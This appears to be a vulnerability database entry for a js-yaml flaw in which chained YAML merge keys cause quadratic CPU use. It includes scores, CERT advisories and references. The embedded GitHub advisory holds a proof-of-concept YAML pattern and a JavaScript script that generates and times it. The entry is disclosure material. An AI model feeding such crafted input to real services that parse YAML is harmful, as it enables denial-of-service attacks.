CVE-2026-59869
highpriority · track · 0EPSS 0.006 · 47 %ileDEEUNLUSEPSS · scored 2026-10-22
js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 before 3.15.0 and from 4.0.0 before 4.3.0, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in versions 3.15.0 and 4.3.0.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.9–7.5
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (37)
Products and version ranges known to be affected.
advisories (5)
Vendor and ecosystem advisories describing this.
- NCSC-2026-0325Kwetsbaarheden verholpen in Atlassian productenNL2026-08-24csaf · ncsc_nlNL
Atlassian heeft kwetsbaarheden verholpen in diverse producten zoals Bamboo, Bitbucket, Confluence, Jira, Crowd en Fisheye. De kwetsbaarheden bevinden zich in diverse Third-Party producten waar eerder updates voor zijn verschenen. Atlassian heeft deze updates verwerkt in de eigen producten.
- WID-SEC-W-2026-2618IBM App Connect Enterprise: Mehrere SchwachstellenDeutsch2026-08-02csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise ausnutzen, um Sicherheitsvorkehrungen zu umgehen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, und um Daten zu manipulieren.
- WID-SEC-W-2026-2923Atlassian Produkte (Bamboo, Bitbucket, Confluence, Crucible, Fisheye, und Jira): Mehrere SchwachstellenDeutsch2026-08-18csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in Atlassian Bamboo, Atlassian Bitbucket, Atlassian Confluence, Atlassian Crucible, Atlassian Fisheye und Atlassian Jira ausnutzen, um beliebigen Programmcode auszuführen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, um Dateien zu manipulieren, um einen Cross-Site Scripting Angriff durchzuführen, um einen SQL-Injection Angriff durchzuführen, und um Sicherheitsvorkehrungen zu umgehen.
- WID-SEC-W-2026-3376Atlassian Bamboo, Bitbucket, Confluence, Fisheye/Crucible, Jira Software und Jira Service Management: Mehrere SchwachstellenDeutsch2026-09-15csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in Atlassian Bamboo, Bitbucket, Confluence, Fisheye/Crucible, Jira Software und Jira Service Management ausnutzen, um beliebigen Programmcode auszuführen, Sicherheitsmaßnahmen zu umgehen, serverseitige Request-Forgery-Angriffe (SSRF) durchzuführen, Cross-Site-Scripting-Angriffe zu starten, sensible Informationen offenzulegen, Daten zu manipulieren oder Denial-of-Service-Zustände herbeizuführen.
- GHSA-52cp-r559-cp3mjs-yaml: YAML merge-key chains can force quadratic CPU consumption2026-07-20ghsa · osvUS
### Impact js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one: ```yaml a0: &a0 { k0: 0 } a1: &a1 { <<: *a0, k1: 1 } a2: &a2 { <<: *a1, k2: 2 } a3: &a3 { <<: *a2, k3: 3 } ... b: *aN ``` For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size. ### PoC From N = 4000 delay become > 1s (doc size < 100K) ```js import { performance } from 'node:perf_hooks' import { Buffer } from 'node:buffer' import { load, YAML11_SCHEMA } from 'js-yaml' const n = Number(process.argv[2] || 4000) function makeMergeChain (count) { const lines = ['a0: &a0 { k0: 0 }'] for (let i = 1; i < count; i++) { lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`) } lines.push(`b: *a${count - 1}`) return `${lines.join('\n')}\n` } const source = makeMergeChain(n) console.log(source.split('\n').slice(0, 8).join('\n')) console.log('...') console.log(source.split('\n').slice(-4).join('\n')) console.log() console.log(`N: ${n}`) console.log(`YAML size: ${Buffer.byteLength(source)} bytes`) const started = performance.now() const result = load(source, { schema: YAML11_SCHEMA }) const elapsed = performance.now() - started console.log(`parse time: ${elapsed.toFixed(1)} ms`) console.log(`top-level keys: ${Object.keys(result).length}`) console.log(`b keys: ${Object.keys(result.b).length}`) ``` ### Patches Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.
also known as (3)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (15)
External citations — patches, advisories, analysis.
- https://github.com/nodeca/js-yaml/commit/24f13e79ee1343a7e30bd6f6c9d9cdbf0ac9b2b7cnnvd
- https://github.com/nodeca/js-yaml/commit/59423c6f8cdc78742ac00e25a4dd39ef16b702e4cnnvd
- https://github.com/nodeca/js-yaml/releases/tag/3.15.0cnnvd
- https://github.com/nodeca/js-yaml/releases/tag/4.3.0cnnvd
- https://github.com/nodeca/js-yaml/security/advisories/GHSA-52cp-r559-cp3mcnnvd
- https://github.com/nodeca/js-yaml/commit/24f13e79ee1343a7e30bd6f6c9d9cdbf0ac9b2b7enisa_euvd
- https://github.com/nodeca/js-yaml/commit/59423c6f8cdc78742ac00e25a4dd39ef16b702e4enisa_euvd
- https://github.com/nodeca/js-yaml/releases/tag/3.15.0enisa_euvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan